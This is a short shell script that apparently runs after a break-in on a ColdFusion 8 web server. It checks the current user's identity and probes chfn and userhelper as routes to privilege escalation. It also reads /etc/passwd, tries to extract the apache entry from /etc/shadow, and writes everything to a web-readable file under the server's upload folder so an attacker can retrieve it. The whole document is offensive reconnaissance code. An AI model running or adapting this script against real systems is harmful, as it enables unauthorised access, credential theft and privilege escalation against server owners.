#!/bin/sh
echo "=== whoami/uid ==="
id
echo "=== try chfn (needs pw?) ==="
echo "" | /usr/bin/chfn -f "test,test,,," > /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt 2>&1
echo "chfn rc=$?" >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt
echo "=== try userhelper ==="
/usr/sbin/userhelper -v >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt 2>&1
echo "userhelper rc=$?" >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt
echo "=== tail passwd ==="
tail -2 /etc/passwd >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt 2>&1
echo "=== grep apache shadow if readable ==="
grep apache /etc/shadow >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt 2>&1 || echo "shadow unreadable" >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt
cat /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt >> /opt/coldfusion8/wwwroot/userfiles/file/cf_out.txt
